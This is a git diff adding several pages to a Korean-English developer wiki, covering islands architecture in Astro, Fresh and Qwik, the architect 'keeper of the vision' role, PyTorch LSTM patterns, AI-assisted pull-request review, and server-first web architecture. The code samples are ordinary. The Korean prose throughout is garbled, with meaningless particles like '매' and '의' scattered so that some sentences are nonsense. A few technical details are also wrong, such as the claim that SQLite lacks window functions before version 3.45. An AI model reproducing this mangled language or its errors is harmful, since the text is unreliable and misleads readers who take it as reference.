```astro
|
||||
---
|
||||
// src/pages/index.astro
|
||||
import Counter from '../components/Counter.tsx';
|
||||
import Newsletter from '../components/Newsletter.tsx';
|
||||
const posts = await fetch(import.meta.env.CMS_URL).then(r => r.json());
|
||||
---
|
||||
<html>
|
||||
<body>
|
||||
<h1>Blog</h1>
|
||||
<ul>{posts.map(p => <li>{p.title}</li>)}</ul>
|
||||
|
||||
<Counter client:visible /> <!-- island, lazy hydrate -->
|
||||
<Newsletter client:idle /> <!-- island, idle hydrate -->
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
### Astro — Mixed Frameworks (one page, multiple)
|
||||
```astro
|
||||
---
|
||||
import VueWidget from './Widget.vue';
|
||||
import SvelteChart from './Chart.svelte';
|
||||
import SolidSearch from './Search.tsx';
|
||||
---
|
||||
<VueWidget client:load />
|
||||
<SvelteChart client:visible />
|
||||
<SolidSearch client:idle />
|
||||
```
|
||||
|
||||
### Fresh (Deno) — Island
|
||||
```tsx
|
||||
// islands/Counter.tsx
|
||||
import { useSignal } from '@preact/signals';
|
||||
export default function Counter() {
|
||||
const count = useSignal(0);
|
||||
return <button onClick={() => count.value++}>{count.value}</button>;
|
||||
}
|
||||
|
||||
// routes/index.tsx
|
||||
import Counter from '../islands/Counter.tsx';
|
||||
export default function Home() {
|
||||
return <main><h1>Home</h1><Counter /></main>;
|
||||
}
|
||||
```
|
||||
|
||||
### Qwik — Resumability (zero hydration)
|
||||
```tsx
|
||||
// src/routes/index.tsx
|
||||
import { component$, useSignal } from '@builder.io/qwik';
|
||||
export default component$(() => {
|
||||
const count = useSignal(0);
|
||||
return (
|
||||
<button onClick$={() => count.value++}>
|
||||
Clicks: {count.value}
|
||||
</button>
|
||||
);
|
||||
});
|
||||
// 매 click 의 시 의 only 의 download — true progressive
|
||||
```
|
||||
|
||||
### Marko 5 — Streaming Islands
|
||||
```marko
|
||||
<!doctype html>
|
||||
<html>
|
||||
<body>
|
||||
<h1>Products</h1>
|
||||
<await(productPromise)>
|
||||
<@then|products|>
|
||||
<for|p| of=products>
|
||||
<product-card p=p/>
|
||||
</for>
|
||||
</@then>
|
||||
</await>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
### Performance Budget Check
|
||||
```yaml
|
||||
# .lighthouserc.yml
|
||||
ci:
|
||||
collect: { url: ['https://example.com/'] }
|
||||
assert:
|
||||
assertions:
|
||||
total-byte-weight: ['error', { maxNumericValue: 200000 }]
|
||||
total-blocking-time: ['error', { maxNumericValue: 200 }]
|
||||
interaction-to-next-paint: ['error', { maxNumericValue: 200 }]
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| Content-heavy, low interactivity | Astro (default) |
|
||||
| Per-route framework choice | Astro multi-framework |
|
||||
| Edge / Deno preference | Fresh |
|
||||
| App-shell SPA feel | Next.js / Remix (RSC + Suspense) |
|
||||
| Zero-hydration target | Qwik |
|
||||
|
||||
**기본값**: 매 marketing/blog/docs — Astro + island per interactive component. 매 dashboard-y app — Next.js RSC.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Web-Rendering-Strategies]] · [[프론트엔드_및_UIUX_표준|Frontend-Architecture]]
|
||||
- 변형: [[Partial-Hydration]] · [[Resumability]] · [[Streaming-SSR]]
|
||||
- 응용: [[Astro]] · [[Qwik]]
|
||||
- Adjacent: [[React-Server-Components]] · [[Incremental-Static-Regeneration-ISR]] · [[MPA]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: page 의 island boundary 의 propose, hydration directive 의 select, JS bundle 의 reduction 의 suggest.
|
||||
**언제 X**: 매 framework 의 final choice (team skill, ecosystem fit 의 human decision).
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **Island sprawl**: 매 component 의 `client:load` → SPA equivalent.
|
||||
- **Cross-island state**: 매 island 의 shared store 의 hack — 매 framework boundary 의 violation.
|
||||
- **Server-only data 의 island leak**: secret/PII 의 client island prop 의 pass.
|
||||
- **`client:only` overuse**: server render 의 skip → SEO 의 hurt + LCP 의 regress.
|
||||
- **Wrong tool**: 매 highly interactive app (Figma-like) 의 Astro 의 force-fit.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Jason Miller "Islands Architecture" 2020, Astro 4 docs, Fresh docs, web.dev).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — island architecture (Astro/Fresh/Qwik) 의 full content |
|
||||
+136
@@ -0,0 +1,136 @@
|
||||
---
|
||||
id: wiki-2026-0508-keeper-of-the-vision
|
||||
title: Keeper of the Vision
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [Keeper of the Vision, Vision Keeper, 비전 수호자, Architect Role]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.85
|
||||
verification_status: applied
|
||||
tags: [architecture, leadership, role, organization, technical-direction]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: n/a
|
||||
framework: organizational
|
||||
---
|
||||
|
||||
# Keeper of the Vision
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 architect 의 most-underrated 의무"**. Keeper of the Vision 매 architectural integrity 매 long-term direction 매 day-to-day pressure 의 face 매 protect 매 role — 매 single coherent product/system 의 maintain 매 short-term shortcut 매 technical debt 의 accumulation 의 방지. Brooks ("Mythical Man-Month"), Fowler 매 emphasized.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 What the Keeper does
|
||||
- **Conceptual integrity**: 매 system 매 단일 mind 의 product 처럼 feel 하도록.
|
||||
- **Veto authority**: 매 vision-violating change 의 block (or escalate).
|
||||
- **Trade-off articulation**: 매 short-term gain vs long-term cost 의 명확.
|
||||
- **Mentorship**: 매 team 매 vision 의 internalize 하도록.
|
||||
- **Public memory**: 매 ADR (Architecture Decision Record) 매 maintain.
|
||||
|
||||
### 매 Tensions
|
||||
- **Speed vs coherence**: 매 PM 매 ship now, 매 keeper 매 do it right.
|
||||
- **Local vs global**: 매 team A 매 best for them, 매 worst for system.
|
||||
- **Innovation vs consistency**: 매 new framework 매 cool, 매 다양 ization 매 maintenance burden.
|
||||
|
||||
### 매 응용
|
||||
1. **Tech lead role**: 매 small team 매 lead 의 explicit responsibility.
|
||||
2. **Staff/Principal engineer**: 매 cross-team 매 keeper.
|
||||
3. **Game director / Lead designer**: 매 product vision (Miyamoto, Sid Meier model).
|
||||
4. **Open source BDFL**: 매 Linus, Guido, Matz — 매 codified extreme.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Architecture Decision Record (ADR)
|
||||
```markdown
|
||||
# ADR-0042: Use SQLite for embedded analytics, not Postgres
|
||||
|
||||
Status: Accepted
|
||||
Date: 2026-04-12
|
||||
Context: Edge devices need local analytics queries...
|
||||
Decision: SQLite + Litestream replication.
|
||||
Consequences:
|
||||
+ zero ops, single binary
|
||||
- no advanced window functions until SQLite 3.45
|
||||
Vision alignment: "operate offline-first" pillar #2.
|
||||
```
|
||||
|
||||
### Vision artifact (one-pager)
|
||||
```markdown
|
||||
# Product North Star (2026)
|
||||
1. Offline-first: every feature works without network.
|
||||
2. Single-binary deploy: no docker required for self-host.
|
||||
3. Plain-text data: SQLite + JSON, no proprietary blobs.
|
||||
4. Pluggable AI: vendor-neutral, swap Anthropic ↔ local Llama.
|
||||
```
|
||||
|
||||
### Keeper review checklist (PR template)
|
||||
```markdown
|
||||
- [ ] Aligns with North Star pillars (#1–4)?
|
||||
- [ ] Introduces new dependency? Justify.
|
||||
- [ ] Adds DB migration? Reversible?
|
||||
- [ ] Public API change? ADR required.
|
||||
- [ ] Latency impact measured?
|
||||
```
|
||||
|
||||
### Conceptual integrity test
|
||||
```python
|
||||
def integrity_smell(diff: Diff) -> list[str]:
|
||||
smells = []
|
||||
if introduces_new_pattern(diff) and not has_adr(diff):
|
||||
smells.append("New pattern w/o ADR")
|
||||
if duplicates_existing(diff):
|
||||
smells.append(f"Duplicates {diff.similar_to}")
|
||||
if cross_layer_import(diff):
|
||||
smells.append("Layer boundary violated")
|
||||
return smells
|
||||
```
|
||||
|
||||
### Office-hours protocol
|
||||
```
|
||||
Weekly architect office hours (1h):
|
||||
- Anyone bring design Q
|
||||
- Whiteboard walkthrough
|
||||
- Output: ADR draft or "go ahead"
|
||||
Cost: 1h/week. Benefit: prevents 10× cost of misalignment.
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| 매 small team (≤5) | 매 tech lead 매 implicit keeper |
|
||||
| 매 medium (5–20) | 매 explicit "architect" role 매 part-time |
|
||||
| 매 large (>20) | 매 architecture guild + Staff/Principal 매 keeper |
|
||||
| 매 OSS project | 매 BDFL or 매 core team 매 vote |
|
||||
| 매 startup early | 매 founder/CTO 매 keeper |
|
||||
|
||||
**기본값**: 매 ADR + weekly office hours + 매 명시적 vision document.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Conceptual-Integrity]]
|
||||
- 응용: [[ADR-Architecture-Decision-Record]]
|
||||
- Adjacent: [[Conways-Law]] · [[Technical_Debt|Technical-Debt]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: 매 architect role responsibilities 의 articulate; 매 ADR template; 매 architecture review checklist.
|
||||
**언제 X**: 매 individual contributor 의 day-to-day coding (다른 layer); 매 PM/product strategy (overlap 있지만 scope 다름).
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **Ivory tower architect**: 매 코드 매 안 짜고 매 mandate 만 — 매 lose credibility.
|
||||
- **Veto-only**: 매 block 만 하고 매 alternatives 매 propose 안 함.
|
||||
- **Vision drift**: 매 6 months 매 vision 매 silent 변경 — 매 team 매 confused.
|
||||
- **Hero dependency**: 매 keeper 떠나면 매 collapse — 매 succession plan 필요.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Brooks "Mythical Man-Month" Ch.4 conceptual integrity, Fowler "Who Needs an Architect?", Kruchten ADR origin 2011).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — full content (architect role, ADR patterns) |
|
||||
+191
@@ -0,0 +1,191 @@
|
||||
---
|
||||
id: wiki-2026-0508-lstm-long-short-term-memory
|
||||
title: LSTM (Long Short-Term Memory)
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [LSTM, Long Short-Term Memory Network]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [neural-network, sequence-modeling, rnn, deep-learning]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: python
|
||||
framework: pytorch
|
||||
---
|
||||
|
||||
# LSTM (Long Short-Term Memory)
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 gated cell state 로 vanishing gradient 회피"**. Hochreiter & Schmidhuber (1997) — RNN 의 long-range dependency 학습 문제 의 forget/input/output gate 의 cell state 보호. 2026 에서는 Transformer 가 sequence modeling 의 dominant 이지만 LSTM 은 매 small-data, low-latency, streaming, edge inference 에서 여전히 strong choice (Mamba/SSM 의 부상에도 production 의 niche 유지).
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 RNN 의 한계
|
||||
- Vanilla RNN: `h_t = tanh(W·[h_{t-1}, x_t])` 의 매 step 마다 gradient multiplication.
|
||||
- Vanishing gradient: 매 long sequence 에서 `∂L/∂h_0 ≈ 0` — early step 의 학습 불가.
|
||||
- Exploding gradient: 반대 방향, gradient clipping 으로 mitigate 가능.
|
||||
|
||||
### 매 LSTM cell 구조
|
||||
- **Cell state C_t**: 매 highway — gradient 가 매 multiplicative interaction 없이 flow.
|
||||
- **Forget gate f_t**: 매 어떤 information 을 cell state 에서 drop 할지 결정.
|
||||
- **Input gate i_t**: 매 새로운 information 을 cell state 에 add.
|
||||
- **Output gate o_t**: 매 cell state 의 어떤 부분을 hidden state 로 expose.
|
||||
- 매 sigmoid gate (0~1) 의 element-wise gating.
|
||||
|
||||
### 매 응용 (2026)
|
||||
1. Time-series forecasting (small/medium scale, transformer overkill 인 경우).
|
||||
2. Streaming ASR / speech encoder (low-latency causal).
|
||||
3. Edge device inference (TinyML, mobile keyboard prediction).
|
||||
4. Anomaly detection on sensor streams.
|
||||
5. Reinforcement learning policy network (recurrent baselines).
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### 1. PyTorch LSTM (basic)
|
||||
```python
|
||||
import torch
|
||||
import torch.nn as nn
|
||||
|
||||
class LSTMTagger(nn.Module):
|
||||
def __init__(self, vocab_size, embed_dim, hidden_dim, num_tags):
|
||||
super().__init__()
|
||||
self.embed = nn.Embedding(vocab_size, embed_dim)
|
||||
self.lstm = nn.LSTM(embed_dim, hidden_dim, batch_first=True)
|
||||
self.fc = nn.Linear(hidden_dim, num_tags)
|
||||
|
||||
def forward(self, x):
|
||||
# x: [B, T]
|
||||
e = self.embed(x) # [B, T, E]
|
||||
out, (h, c) = self.lstm(e) # out: [B, T, H]
|
||||
return self.fc(out) # [B, T, num_tags]
|
||||
|
||||
model = LSTMTagger(vocab_size=10000, embed_dim=128, hidden_dim=256, num_tags=10)
|
||||
```
|
||||
|
||||
### 2. Bidirectional + multi-layer
|
||||
```python
|
||||
self.lstm = nn.LSTM(
|
||||
input_size=128,
|
||||
hidden_size=256,
|
||||
num_layers=2,
|
||||
bidirectional=True,
|
||||
dropout=0.3,
|
||||
batch_first=True,
|
||||
)
|
||||
# Output: [B, T, 2*256]
|
||||
```
|
||||
|
||||
### 3. Manual LSTM cell (understand internals)
|
||||
```python
|
||||
class LSTMCellManual(nn.Module):
|
||||
def __init__(self, input_dim, hidden_dim):
|
||||
super().__init__()
|
||||
self.W = nn.Linear(input_dim + hidden_dim, 4 * hidden_dim)
|
||||
self.hidden_dim = hidden_dim
|
||||
|
||||
def forward(self, x, state):
|
||||
h, c = state
|
||||
z = self.W(torch.cat([x, h], dim=-1))
|
||||
i, f, g, o = z.chunk(4, dim=-1)
|
||||
i, f, o = torch.sigmoid(i), torch.sigmoid(f), torch.sigmoid(o)
|
||||
g = torch.tanh(g)
|
||||
c_new = f * c + i * g # cell state update
|
||||
h_new = o * torch.tanh(c_new) # hidden output
|
||||
return h_new, c_new
|
||||
```
|
||||
|
||||
### 4. Streaming inference (stateful)
|
||||
```python
|
||||
class StreamingLSTM:
|
||||
def __init__(self, model):
|
||||
self.model = model
|
||||
self.state = None
|
||||
|
||||
def step(self, x_t):
|
||||
# x_t: [1, 1, E]
|
||||
out, self.state = self.model.lstm(x_t, self.state)
|
||||
return self.model.fc(out)
|
||||
|
||||
def reset(self):
|
||||
self.state = None
|
||||
```
|
||||
|
||||
### 5. Time-series forecasting
|
||||
```python
|
||||
class Forecaster(nn.Module):
|
||||
def __init__(self, n_features, hidden=128, horizon=24):
|
||||
super().__init__()
|
||||
self.lstm = nn.LSTM(n_features, hidden, num_layers=2, batch_first=True)
|
||||
self.head = nn.Linear(hidden, horizon)
|
||||
|
||||
def forward(self, x):
|
||||
# x: [B, T, F]
|
||||
_, (h, _) = self.lstm(x)
|
||||
return self.head(h[-1]) # [B, horizon]
|
||||
|
||||
# Train with MSE on next-N-step prediction
|
||||
```
|
||||
|
||||
### 6. Gradient clipping (essential for LSTM)
|
||||
```python
|
||||
optimizer.zero_grad()
|
||||
loss.backward()
|
||||
torch.nn.utils.clip_grad_norm_(model.parameters(), max_norm=1.0)
|
||||
optimizer.step()
|
||||
```
|
||||
|
||||
### 7. ONNX export for edge
|
||||
```python
|
||||
dummy = torch.randn(1, 100, 128)
|
||||
torch.onnx.export(
|
||||
model, dummy, "lstm.onnx",
|
||||
input_names=["x"], output_names=["y"],
|
||||
dynamic_axes={"x": {0: "batch", 1: "time"}},
|
||||
opset_version=17,
|
||||
)
|
||||
# Deploy to mobile via ONNX Runtime / Core ML
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| Long context (>1k tokens), large data | Transformer (attention). |
|
||||
| Streaming, causal, low-latency | LSTM 또는 Mamba/SSM. |
|
||||
| Small data (<10k samples) sequence | LSTM (transformer overfits). |
|
||||
| Edge / mobile inference | LSTM (small footprint). |
|
||||
| Multi-modal long-form generation | Transformer / Diffusion. |
|
||||
| State-space modeling, very long seq | Mamba / S4 (post-2023 alternative). |
|
||||
|
||||
**기본값**: 2026 에서 새 sequence task 는 매 Transformer 부터. LSTM 은 매 streaming + edge + small-data 의 specific niche.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Sequence Modeling]]
|
||||
- 변형: [[데이터_사이언스_및_ML_엔지니어링|GRU]]
|
||||
- 응용: [[Anomaly Detection]]
|
||||
- Adjacent: [[Transformer]] · [[Transformer_Architecture_and_LLM_Foundations|Attention Mechanism]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: streaming inference design, edge deployment, small-data baseline, recurrent RL agent.
|
||||
**언제 X**: large-scale language modeling, long-context (>4k) tasks, 매 modern foundation model approach.
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **No gradient clipping**: 매 exploding gradient 의 NaN loss. 매 clip_grad_norm 필수.
|
||||
- **Wrong batch_first**: PyTorch default 는 `[T, B, H]`. `batch_first=True` 안 쓰면 매 shape 혼란.
|
||||
- **Frozen state across batches**: 매 stateful LSTM 에서 batch boundary detach 안 하면 BPTT 가 매 entire history 까지 backprop — OOM.
|
||||
- **LSTM for long context**: 매 >1k token 의 long-range dependency 는 매 attention 으로.
|
||||
- **No layer norm**: 매 deep LSTM 의 training instability — LayerNorm-LSTM variant 권장.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Hochreiter & Schmidhuber 1997, *Neural Computation*; PyTorch nn.LSTM docs).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — LSTM cell internals + 2026 niche positioning vs Transformer/Mamba |
|
||||
+182
@@ -0,0 +1,182 @@
|
||||
---
|
||||
id: wiki-2026-0508-modern-review-workflow
|
||||
title: Modern Review Workflow
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [AI Code Review, PR Review 2026, Augmented Review]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [code-review, ci-cd, ai-augmented, pr-workflow]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: typescript
|
||||
framework: github-actions
|
||||
---
|
||||
|
||||
# Modern Review Workflow
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 review = human judgment + AI scaffolding"**. 2026년 PR review 매 single-reviewer linting → multi-agent triage 의 진화. Claude Opus 4.7 / Codex 가 매 first-pass (style, security, regression) 를 처리, human 의 매 architectural / product 판단에 집중.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 단계
|
||||
- **Pre-PR**: 매 author-side `claude review` local 의 self-check.
|
||||
- **CI gate**: 매 automated agent 의 매 diff scan — security, perf, test coverage.
|
||||
- **Human review**: 매 design intent / API contract / UX trade-off 의 deep dive.
|
||||
- **Post-merge**: 매 deploy preview + canary metrics 의 watch.
|
||||
|
||||
### 매 agent layer
|
||||
- **Linter agent**: style, type, dead code.
|
||||
- **Security agent**: secret scan, OWASP, dependency CVE.
|
||||
- **Test agent**: coverage delta, flaky detect, mutation score.
|
||||
- **Review agent**: 매 prose summary + risk flag (Claude Opus 4.7).
|
||||
|
||||
### 매 응용
|
||||
1. Solo dev: 매 CI agent 만 = 매 reviewer 효과.
|
||||
2. 팀 (10+): tiered — agent gate → senior architect.
|
||||
3. OSS: 매 maintainer triage 의 cost 감소.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### GitHub Actions: Claude review hook
|
||||
```yaml
|
||||
name: ai-review
|
||||
on:
|
||||
pull_request:
|
||||
types: [opened, synchronize]
|
||||
|
||||
jobs:
|
||||
review:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with: { fetch-depth: 0 }
|
||||
- uses: anthropics/claude-code-action@v1
|
||||
with:
|
||||
api-key: ${{ secrets.ANTHROPIC_API_KEY }}
|
||||
model: claude-opus-4-7
|
||||
mode: review
|
||||
target-base: ${{ github.base_ref }}
|
||||
comment-style: inline
|
||||
```
|
||||
|
||||
### Inline comment poster
|
||||
```typescript
|
||||
import Anthropic from "@anthropic-ai/sdk";
|
||||
import { Octokit } from "@octokit/rest";
|
||||
|
||||
const a = new Anthropic();
|
||||
const gh = new Octokit({ auth: process.env.GH_TOKEN });
|
||||
|
||||
export async function reviewDiff(owner: string, repo: string, pr: number) {
|
||||
const { data: files } = await gh.pulls.listFiles({ owner, repo, pull_number: pr });
|
||||
const diff = files.map((f) => `### ${f.filename}\n${f.patch ?? ""}`).join("\n\n");
|
||||
|
||||
const res = await a.messages.create({
|
||||
model: "claude-opus-4-7",
|
||||
max_tokens: 4096,
|
||||
system: "You are a senior reviewer. Output JSON: {comments: [{path, line, body, severity}]}.",
|
||||
messages: [{ role: "user", content: diff }],
|
||||
});
|
||||
|
||||
const { comments } = JSON.parse((res.content[0] as any).text);
|
||||
for (const c of comments) {
|
||||
await gh.pulls.createReviewComment({
|
||||
owner, repo, pull_number: pr, ...c,
|
||||
commit_id: process.env.HEAD_SHA!,
|
||||
});
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Local pre-PR self-check
|
||||
```bash
|
||||
# .git/hooks/pre-push
|
||||
#!/usr/bin/env bash
|
||||
set -e
|
||||
git diff origin/main...HEAD | claude -p "Review this diff. Flag bugs, security, perf only. No style." --model claude-opus-4-7
|
||||
```
|
||||
|
||||
### Risk-tiered routing
|
||||
```typescript
|
||||
type Risk = "low" | "medium" | "high";
|
||||
|
||||
function classify(diff: string): Risk {
|
||||
if (/migrations\/|schema\./.test(diff)) return "high";
|
||||
if (/auth|payment|crypto/i.test(diff)) return "high";
|
||||
if (diff.split("\n").length > 500) return "medium";
|
||||
return "low";
|
||||
}
|
||||
|
||||
function reviewers(r: Risk): string[] {
|
||||
return {
|
||||
low: ["ai-bot"],
|
||||
medium: ["ai-bot", "@team-lead"],
|
||||
high: ["ai-bot", "@security", "@architect"],
|
||||
}[r];
|
||||
}
|
||||
```
|
||||
|
||||
### Mutation-test gate
|
||||
```yaml
|
||||
- name: stryker
|
||||
run: npx stryker run --threshold.break 70
|
||||
```
|
||||
|
||||
### Coverage delta comment
|
||||
```typescript
|
||||
const before = await coverage("main");
|
||||
const after = await coverage("HEAD");
|
||||
const delta = after.lines - before.lines;
|
||||
if (delta < -1) await gh.issues.createComment({
|
||||
...ctx, body: `⚠️ Coverage dropped ${delta.toFixed(1)}%`,
|
||||
});
|
||||
```
|
||||
|
||||
### Auto-merge on green + AI ack
|
||||
```yaml
|
||||
- if: ${{ steps.ai-review.outputs.severity == 'none' && steps.tests.outcome == 'success' }}
|
||||
run: gh pr merge ${{ github.event.pull_request.number }} --squash --auto
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| Solo / OSS | AI agent only, human spot-check |
|
||||
| Small team | AI gate + 1 human (rotating) |
|
||||
| Regulated (fin/health) | AI + 2 humans + audit log |
|
||||
| Hot path / migrations | Mandatory architect review |
|
||||
|
||||
**기본값**: AI first-pass + 1 human reviewer + risk-tiered escalation.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[CI-CD]]
|
||||
- 변형: [[Pair-Programming]] · [[Mob-Programming]]
|
||||
- 응용: [[Trunk-Based-Development]]
|
||||
- Adjacent: [[Static-Analysis]] · [[Mutation-Testing]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: 매 diff scan, security triage, coverage summary, prose explanation 의 PR description.
|
||||
**언제 X**: 매 architectural decision, API contract negotiation, domain-specific business rule — human 의 judgment.
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **AI rubber-stamp**: 매 agent approve = 매 human 의 skip. 매 critical path 의 review 누락.
|
||||
- **Comment flood**: agent 의 매 nitpick → noise. Severity threshold 의 setting.
|
||||
- **No risk tiering**: schema migration 매 typo fix 와 동급 review → bottleneck.
|
||||
- **Secrets in prompt**: diff 의 secret 의 leak. Pre-scan + redact.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (GitHub blog 2025, Anthropic Claude Code docs 2026, Google Eng Practices).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — AI-augmented PR review workflow with Claude Opus 4.7 patterns |
|
||||
+208
@@ -0,0 +1,208 @@
|
||||
---
|
||||
id: wiki-2026-0508-modern-website-architecture
|
||||
title: Modern Website Architecture
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [Web Architecture 2026, RSC Architecture, Islands Architecture]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [web, architecture, rsc, astro, nextjs, edge]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: typescript
|
||||
framework: nextjs-astro
|
||||
---
|
||||
|
||||
# Modern Website Architecture
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 page = static shell + streamed server components + minimal islands"**. 2020 SPA → 2024 SSR → 2026 RSC + edge 의 진화. Next.js 16 / Astro 5 / Remix 의 매 default = server-first, JS 의 ship 매 minimum.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 layer
|
||||
- **Edge runtime**: 매 request 의 region-local. Vercel/Cloudflare Workers, sub-50ms.
|
||||
- **Server components**: 매 default render = server. Zero JS 의 ship.
|
||||
- **Client islands**: 매 interactivity 의 hydrate 만.
|
||||
- **CDN**: 매 static asset + ISR cache.
|
||||
|
||||
### 매 trade-off
|
||||
- **SSG**: 매 build-time, fastest, stale data.
|
||||
- **SSR**: 매 request-time, fresh, slower TTFB.
|
||||
- **ISR**: 매 hybrid — stale-while-revalidate.
|
||||
- **CSR**: 매 SPA, JS-heavy, slow first paint.
|
||||
|
||||
### 매 응용
|
||||
1. Marketing site: SSG + Astro islands.
|
||||
2. Dashboard: RSC + streaming + Suspense.
|
||||
3. E-commerce: ISR + edge personalization.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Next.js 16 RSC
|
||||
```tsx
|
||||
// app/products/[id]/page.tsx — server component (default)
|
||||
import { db } from "@/lib/db";
|
||||
import { AddToCart } from "./add-to-cart"; // client island
|
||||
|
||||
export default async function Page({ params }: { params: { id: string } }) {
|
||||
const product = await db.product.findUnique({ where: { id: params.id } });
|
||||
if (!product) return <NotFound />;
|
||||
return (
|
||||
<article>
|
||||
<h1>{product.name}</h1>
|
||||
<p>{product.description}</p>
|
||||
<AddToCart productId={product.id} />
|
||||
</article>
|
||||
);
|
||||
}
|
||||
```
|
||||
|
||||
### Client island
|
||||
```tsx
|
||||
// app/products/[id]/add-to-cart.tsx
|
||||
"use client";
|
||||
import { useState } from "react";
|
||||
|
||||
export function AddToCart({ productId }: { productId: string }) {
|
||||
const [pending, setPending] = useState(false);
|
||||
return (
|
||||
<button
|
||||
disabled={pending}
|
||||
onClick={async () => {
|
||||
setPending(true);
|
||||
await fetch("/api/cart", { method: "POST", body: JSON.stringify({ productId }) });
|
||||
setPending(false);
|
||||
}}
|
||||
>Add</button>
|
||||
);
|
||||
}
|
||||
```
|
||||
|
||||
### Streaming with Suspense
|
||||
```tsx
|
||||
import { Suspense } from "react";
|
||||
|
||||
export default function Page() {
|
||||
return (
|
||||
<>
|
||||
<Header />
|
||||
<Suspense fallback={<Skeleton />}>
|
||||
<SlowProductList /> {/* awaits DB */}
|
||||
</Suspense>
|
||||
<Suspense fallback={<Skeleton />}>
|
||||
<SlowReviews />
|
||||
</Suspense>
|
||||
</>
|
||||
);
|
||||
}
|
||||
```
|
||||
|
||||
### Astro islands
|
||||
```astro
|
||||
---
|
||||
// src/pages/index.astro
|
||||
import Counter from "../components/Counter.svelte";
|
||||
const products = await fetch("https://api.shop/products").then(r => r.json());
|
||||
---
|
||||
<html>
|
||||
<body>
|
||||
{products.map(p => <article>{p.name}</article>)}
|
||||
<Counter client:visible />
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
### Edge middleware (Vercel)
|
||||
```typescript
|
||||
// middleware.ts
|
||||
import { NextResponse } from "next/server";
|
||||
import { geolocation } from "@vercel/functions";
|
||||
|
||||
export function middleware(req: Request) {
|
||||
const { country } = geolocation(req);
|
||||
const res = NextResponse.next();
|
||||
res.cookies.set("country", country ?? "US");
|
||||
return res;
|
||||
}
|
||||
|
||||
export const config = { matcher: "/((?!_next).*)" };
|
||||
```
|
||||
|
||||
### ISR + tag revalidation
|
||||
```tsx
|
||||
// fetch with cache tags
|
||||
const data = await fetch("https://api.shop/products", {
|
||||
